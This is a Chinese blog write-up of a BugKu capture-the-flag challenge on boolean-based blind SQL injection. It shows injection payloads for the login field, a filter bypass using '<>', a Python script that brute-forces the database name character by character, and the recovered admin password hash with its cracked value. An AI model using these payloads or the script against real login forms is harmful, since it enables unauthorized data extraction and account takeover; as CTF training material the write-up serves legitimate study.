2021-11-13

本文详细介绍了如何利用bool型SQL盲注技巧探测数据库信息,包括确定数据库长度、猜解数据库名及密码。通过一系列的payload构造,最终成功获取到用户名(admin)和密码(bugkuctf)。通过MD5解密验证,证明了这种方法的有效性。此过程展示了SQL注入攻击的复杂性和防御的重要性。
摘要由CSDN通过智能技术生成

BUGKU CTF  (sql bool注入)

题目打开  有提示我们是基于bool的SQL盲注  所以 不用太担心方法  但是  祸福相随  基于bool的盲注  可是不那么省事的  

常规思路  试一下 弱口令  admin  root  回复  密码错误 

 然后就需要进行 bool 注入的理念了  首先报数据库长度 a'or(length(database())>6)#  显示  password error 

而 a'or(length(database())>8) -- - 则是username does not exist! 说明数据库长度为 8  (#  -- - 注释后面的语句)

接下来就是需要我们来报数据库的名字了 这需要我们熟悉sql注入的语言 

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#   这里用<>的原因是 = 会被过滤 

 返回 password error! 注意 or 后面的条件如果为真,返回password error!,如果为假,返回username does not exist!   or或 and 并 都可以的 

返回password error! = > 第一个字母不等于a 

然后调节 输入的长度 也就是这里的 1 8 99 直到回复 username does not exist!  也就是为真时  结合 ascii表 平凑出库名    爆出为blindsql 

下面我们用大神的脚本  跑一下 看看对不对   (偷个懒)

import requests

# payload:  a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#
dic = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url = "http://114.67.246.176:19794/index.php"
ans = ""
for i in range(1 , 9):
    j = 9 - i
    for k in dic:
        username = "a'or(ascii(substr(reverse(substr((database())from(" + str(i) + ")))from(" + str(j) + ")))<>" + str(ord(k)) + ")#"
        data = {
            "username" : username,
            "password" : "admin"
        }
        res = requests.post( url , data=data)
        if "username does not exist!" in res.text:
            ans += k
            print(ans)

good  然后爆出密码 

 结果为 4dcc88f8f1bc05e7c2ad1a60288481a2  紧接着MD5解密  为 bugkuctf

 所以  用户名为 admin 密码为 bugkuctf  登录  得到flag

 

 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值